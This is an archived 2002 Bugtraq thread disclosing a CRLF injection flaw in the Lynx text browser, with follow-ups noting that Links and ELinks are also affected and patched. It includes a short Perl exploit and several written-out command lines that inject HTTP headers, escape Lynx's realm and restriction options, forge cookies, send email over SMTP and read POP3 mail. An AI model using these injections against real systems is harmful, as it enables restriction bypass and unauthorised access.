73499 2002-08-19 21:21 /106 rader/ Ulf Harnhammar <ulfh@update.uu.se>
Importerad: 2002-08-19 21:21 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1155>
Ärende: Lynx CRLF Injection
------------------------------------------------------------
Lynx CRLF Injection
PROGRAM: Lynx
VENDOR: Lynx-Dev List <lynx-dev@sig.net>
HOMEPAGE: http://lynx.browser.org/
VULNERABLE VERSIONS: 2.8.4rel.1, 2.8.5dev.8, 2.8.3rel.1, 2.8.2rel.1,
possibly others
IMMUNE VERSIONS: 2.8.4rel.1 with all patches applied
PATCH: ftp://lynx.isc.org/lynx2.8.4/patches/lynx2.8.4rel.1c.patch
SEVERITY: medium
DESCRIPTION:
"Lynx is a fully-featured World Wide Web (WWW) client for users
running cursor-addressable, character-cell display devices such
as vt100 terminals, vt100 emulators running on Windows 95/NT or
Macintoshes, or any other character-cell display. It will display
Hypertext Markup Language (HTML) documents containing links to files
on the local system, as well as files on remote systems running
http, gopher, ftp, wais, nntp, finger, or cso/ph/qi servers, and
services accessible via logins to telnet, tn3270 or rlogin accounts.
Current versions of Lynx run on Unix, VMS, Windows95/NT, 386DOS
and OS/2 EMX."
(direct quote from the program's README file)
Lynx is published under the terms of the GNU General Public License.
It is a very common program (I personally have used it since 1995),
but this hole will only affect some of its users.
SUMMARY:
If you give Lynx a URL with some special characters on the command
line, it will include faked headers in the HTTP query. This way,
you can make scripts that use Lynx for downloading files access
the wrong site on a web server with multiple virtual hosts.
TECHNICAL DETAILS:
When a URL is given on the command line or in the WWW_HOME
environment variable, Lynx doesn't remove or encode dangerous
characters such as space, tab, CR and LF before constructing HTTP
queries. This means that an attacker can construct a URL that will
send arbitrary faked HTTP headers, by adding space + "HTTP/1.0" +
CRLF + some headers + CRLF + CRLF after the normal URL. Lynx's own
HTTP headers are sent after the faked headers, but the web server
ignores them, as our CRLF + CRLF pair above indicates the end of
the headers.
This may cause some security problems. One scenario is when a
program starts Lynx, and the host part of the URL is supplied
by the program and the path by its user (something like "lynx
http://www.site3.st/$path", where the value of $path is defined by
the user). An attacker can make such a program access some other web
site than www.site3.st, if it's a virtual host on the same machine
as www.site3.st, by adding a "Host:" header as described above.
Relative links don't work in web pages that are fetched this way. If
there is a relative link like <a href="sunnanvind.html">Sunnan</a>
and the user follows it, Lynx gets confused.
To get more information about this type of hole,
read my paper "CRLF Injection", which is available at
http://cert.uni-stuttgart.de/archive/bugtraq/2002/05/msg00079.html
PERL EXPLOIT:
#!/usr/bin/perl --
# Ulf Harnhammar 2002
# example: ./exploit www.site1.st www.site2.st
# will show www.site2.st
die "$0 hostone hosttwo\n" if @ARGV != 2;
exec('lynx "'.
"http://$ARGV[0]/ HTTP/1.0\012".
"Host: $ARGV[1]\012\012".
'"');
BASH COMMAND LINE EXPLOIT:
(This exploit assumes that www.site1.st and www.site2.st are virtual
hosts on the same machine. Lynx will show www.site2.st.)
[ulf@metaur ulf]$ lynx "http://www.site1.st/ HTTP/1.0
Host: www.site2.st
"
COMMUNICATION WITH VENDOR:
The vendor was contacted on the 13th of August. Their patch was
released and announced on the Lynx-Dev list on the 18th.
// Ulf Harnhammar
ulfh@update.uu.se
(73499) /Ulf Harnhammar <ulfh@update.uu.se>/--------
73729 2002-08-22 19:42 /89 rader/ Ulf Harnhammar <ulfh@update.uu.se>
Importerad: 2002-08-22 19:42 av Brevbäraren
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1213>
Ärende: Lynx CRLF Injection, part two
------------------------------------------------------------
Lynx CRLF Injection, part two
This is a follow-up to my "Lynx CRLF Injection" post a few days
ago.
* Lynx has got a realm feature that restricts users from accessing
any host apart from the host of its start page. That is, if you
start Lynx with "lynx -realm http://www.site1.st/", you are not
allowed to go to http://www.site2.st/ .
The CRLF Injection security hole allows users to break out of
realms - the command:
$ lynx -realm "http://www.site1.st/ HTTP/1.0
Host: www.site2.st
"
will show site2.st, despite the fact that it is outside of the realm.
* It allows users to send arbitrary cookies, user agents and
referers to a web server - even if you're using a restrictions option
saying that you're not allowed to change user agent:
$ lynx -restrictions=useragent "http://www.site1.st/ HTTP/1.0
User-Agent: Ulf 0.0
Referer: http://www.metaur.nu/
Cookie: user=ulf
"
* It is also possible to use this hole for communication with other
types of servers than HTTP servers. You can send e-mails with it, for
example - even if you're using a restrictions option saying that
you're not allowed to send e-mails:
$ lynx -restrictions=mail "http://mail.site1.st:587/ HTTP/1.0
HELO my.own.site
MAIL FROM: <my.own@mail.address>
RCPT TO: <info@site1.st>
DATA
From: my.own@mail.address
To: info@site1.st
Subject: This is..
This is a URL that sends an e-mail (?).
.
QUIT
"
You have to use port 587, as Lynx blocks port 25.
The MTA will complain about the "GET / HTTP/1.0" string, but it
still works.
* You can even use this hole for reading e-mails from a POP3 server:
$ lynx "http://mail.site1.st:110/ HTTP/1.0
USER ulf
PASS xxxx
LIST
RETR 1
QUIT
"
The POP3 server will also complain about the "GET / HTTP/1.0"
string, but it still works with this technology as well.
* As previously noted, the holes listed above mostly affects programs
that start Lynx, interactively or not, with a URL wholly or partially
under the user's control.
* The patch for this hole has moved to:
ftp://lynx.isc.org/lynx/lynx2.8.4/patches/lynx2.8.4rel.1c.patch
// Ulf Harnhammar
ulfh@update.uu.se
(73729) /Ulf Harnhammar <ulfh@update.uu.se>/--------
73809 2002-08-23 19:01 /95 rader/ Alberto Devesa <alberto.devesa@m-centric.com>
Importerad: 2002-08-23 19:01 av Brevbäraren
Extern mottagare: Ulf Harnhammar <ulfh@update.uu.se>
Extern mottagare: bugtraq@securityfocus.com
Mottagare: Bugtraq (import) <1229>
Ärende: Re: Lynx CRLF Injection, part two
------------------------------------------------------------
The same bug seems to affects to the links browser. I have tested it
with the 0.96 version. Links is another console browser with
extended capabilities not supported by lynx like frames, colors and
menus.
On Thursday 22 August 2002 19:32, Ulf Harnhammar wrote:
> Lynx CRLF Injection, part two
>
>
> This is a follow-up to my "Lynx CRLF Injection" post a few days
> ago.
>
>
> * Lynx has got a realm feature that restricts users from accessing
> any host apart from the host of its start page. That is, if you
> start Lynx with "lynx -realm http://www.site1.st/", you are not
> allowed to go to http://www.site2.st/ .
>
> The CRLF Injection security hole allows users to break out of
> realms - the command:
>
> $ lynx -realm "http://www.site1.st/ HTTP/1.0
> Host: www.site2.st
>
> "
>
> will show site2.st, despite the fact that it is outside of the realm.
>
>
> * It allows users to send arbitrary cookies, user agents and
> referers to a web server - even if you're using a restrictions option
> saying that you're not allowed to change user agent:
>
> $ lynx -restrictions=useragent "http://www.site1.st/ HTTP/1.0
> User-Agent: Ulf 0.0
> Referer: http://www.metaur.nu/
> Cookie: user=ulf
>
> "
>
>
> * It is also possible to use this hole for communication with other
> types of servers than HTTP servers. You can send e-mails with it, for
> example - even if you're using a restrictions option saying that
> you're not allowed to send e-mails:
>
> $ lynx -restrictions=mail "http://mail.site1.st:587/ HTTP/1.0
> HELO my.own.site
> MAIL FROM: <my.own@mail.address>
> RCPT TO: <info@site1.st>
> DATA
> From: my.own@mail.address
> To: info@site1.st
> Subject: This is..
>
> This is a URL that sends an e-mail (?).
> .
> QUIT
>
> "
>
> You have to use port 587, as Lynx blocks port 25.
>
> The MTA will complain about the "GET / HTTP/1.0" string, but it
> still works.
>
>
> * You can even use this hole for reading e-mails from a POP3 server:
>
> $ lynx "http://mail.site1.st:110/ HTTP/1.0
> USER ulf
> PASS xxxx
> LIST
> RETR 1
> QUIT
>
> "
>
> The POP3 server will also complain about the "GET / HTTP/1.0"
> string, but it still works with this technology as well.
>
>
> * As previously noted, the holes listed above mostly affects programs
> that start Lynx, interactively or not, with a URL wholly or partially
> under the user's control.
>
>
> * The patch for this hole has moved to:
> ftp://lynx.isc.org/lynx/lynx2.8.4/patches/lynx2.8.4rel.1c.patch
>
>
> // Ulf Harnhammar
> ulfh@update.uu.se
(73809) /Alberto Devesa <alberto.devesa@m-centric.com>/(Ombruten)
74170 2002-08-29 17:32 /31 rader/ Petr Baudis <pasky@pasky.ji.cz>
Importerad: 2002-08-29 17:32 av Brevbäraren
Extern mottagare: Alberto Devesa <alberto.devesa@m-centric.com>
Mottagare: Bugtraq (import) <1313>
Ärende: Re: Lynx CRLF Injection, part two
------------------------------------------------------------
Hello,
Dear diary, on Fri, Aug 23, 2002 at 11:09:21AM CEST, I got a letter,
where Alberto Devesa <alberto.devesa@m-centric.com> told me, that...
> The same bug seems to affects to the links browser. I have tested it with the
> 0.96 version. Links is another console browser with extended capabilities not
> supported by lynx like frames, colors and menus.
yes, the same bug exists in Links and ELinks - Ulf contacted us
both maintainers, however I wasn't able to react fast enough due to
the floods in Czech Republic. Yesterday, I finally fixed the bug in
ELinks-0.4pre and released ELinks-0.4pre15 (we now actually encode
even tab, cr and lf when sending the URL to the server). All ELinks
users are recommended to upgrade, the new ELinks homepage is at
http://elinks.or.cz/.
Note that there's no fix for ELinks-0.3.2, as I don't consider this
a critical bug and ELinks-0.4.0 is expected to replace ELinks-0.3.2
in very near future.
--
Petr "Pasky" Baudis
* ELinks maintainer * IPv6 guy (XS26 co-coordinator)
* IRCnet operator * FreeCiv AI occassional hacker
.
<Beeth> Girls are like internet domain names, the ones I like are already taken.
<honx> Well, you can still get one from a strange country :-P
.
Public PGP key && geekcode && homepage: http://pasky.ji.cz/~pasky/
(74170) /Petr Baudis <pasky@pasky.ji.cz>/-(Ombruten)